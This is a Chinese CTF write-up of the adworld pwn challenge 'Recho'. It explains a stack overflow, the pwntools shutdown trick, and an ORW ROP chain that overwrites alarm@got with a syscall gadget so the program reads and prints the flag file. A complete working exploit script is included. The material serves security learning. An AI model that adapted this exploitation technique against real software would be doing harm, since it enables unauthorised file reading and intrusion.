adword — Recho | pwn题目记录

涉及到以前没接触过的点,记录下。

checksec:

IDA:

很明显的一个栈溢出,但是一直有一个while循环,就算劫持控制流后也出不了这个循环。这里学到了一个新方法:

pwntools的shutdown('send')

py 复制代码
def shutdown(self, direction = "send"):
        """shutdown(direction = "send")
        Closes the tube for futher reading or writing depending on `direction`.
        Arguments:
          direction(str): Which direction to close; "in", "read" or "recv"
            closes the tube in the ingoing direction, "out", "write" or "send"
            closes it in the outgoing direction.
        Returns:
          :const:`None`
        """

但是shutdown后就无法再次利用了,也就是说我们只有一次栈溢出的机会。

所以考虑orw来读取flag文件的内容。

先看看有没有"flag"字符串:

然后就是看看plt表(因为我们无法利用libc的函数)

有read,write但是没有open。

这里又涉及到一个很妙的点:

汇编看alarm:

这里看着是+9处的syscall,但好像对于题目的环境其实是alarm@got+5。

然后就是这里怎么改这个got?

这里又学到了,可以利用这个gadget:

因为我们有rdi和rax的gadget,所以可以结合这个add gadget来传入

rdi = alarm@got

rax = 5

来进行修改

其余的gadget都有(程序甚至贴心地给了rdx的gadget)

所以我们的思路

  1. 劫持alarm的got表 => syscall
  2. syscall(open) => read => write 将flag文件写入bss段再读出来

Exp:(打本地的,所以我的alarm@got修改是+9)

py 复制代码
flag = 0x0000000000601058
add_rdi_al = 0x000000000040070d
rdi = 0x00000000004008a3
rax = 0x00000000004006fc
rsi_r15 = 0x00000000004008a1
rdx = 0x00000000004006fe
bss = 0x601060

read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
alarm_got = elf.got['alarm']

pl = b'a'*0x30 + b'b'*0x8

# alarm @got ->syscall
pl += p64(rdi) + p64(alarm_got) + p64(rax) + p64(9) + p64(add_rdi_al)

# open(flag,0)
# rdi , rsi
# syscall rax:2
pl += p64(rdi) + p64(flag) + p64(rsi_r15) + p64(0)*2
pl += p64(rax) + p64(2)
pl += p64(alarm_plt)

# read(3,bss+0x100,0x40)
# rdi , rsi , rdx
pl += p64(rdi) + p64(3) + p64(rsi_r15) + p64(bss+0x100)*2 + p64(rdx) + p64(0x40)
pl += p64(read_plt)
# write(1,bss+0x100,0x40)
pl += p64(rdi) + p64(1) + p64(rsi_r15) + p64(bss+0x100)*2 + p64(rdx) + p64(0x40)
pl += p64(write_plt)
pl = pl.ljust(0x200,b'\x00')
sla("!\n",str(0x200))
sleep(0.1)
sl(pl)

p.shutdown('send')
p.interactive()

打远程的话就把+9改为+5即可

py 复制代码
# alarm @got ->syscall
pl += p64(rdi) + p64(alarm_got) + p64(rax) + p64(5) + p64(add_rdi_al)
相关推荐
HideF2 小时前
Linux sudo
linux
FlightYe2 小时前
视界原理之3D视频(四):裸眼、眼镜和头显
android·linux·c++·3d·ffmpeg·音视频
蹊黎3 小时前
Linux 下用 C 语言实现进度条
linux·c语言·单片机
牛马鸡niumasi4 小时前
【Linux】C语言文件操作
linux
say_fall4 小时前
【Linux系统编程】Ext 文件系统:磁盘与存储、文件与目录、现代计算机究竟如何寻找文件
linux·运维·服务器·数据库·c++
wacsii5 小时前
【Linux进程(一)】Linux 进程初探:操作系统如何管理进程?fork() 为什么返回两次?
linux·运维·服务器
AI+程序员在路上5 小时前
RV1126B 上支持的模型及全流程应用--从CNN及语音到 LLMVLM 与跨平台选型
linux·c语言·人工智能
默|笙5 小时前
【Linux网络】传输层协议TCP(1)---TCP报文介绍
linux·网络·tcp/ip
相思难忘成疾5 小时前
从零搭建 Kubernetes 1.30 集群:kubeadm 部署一主多从实战(RHEL 9.3 + Docker + flannel)
linux·运维·kubernetes
用户4107192013256 小时前
用 systemd 从零做一个系统健康巡检服务:脚本、沙箱与磁盘满排查实战
linux·ubuntu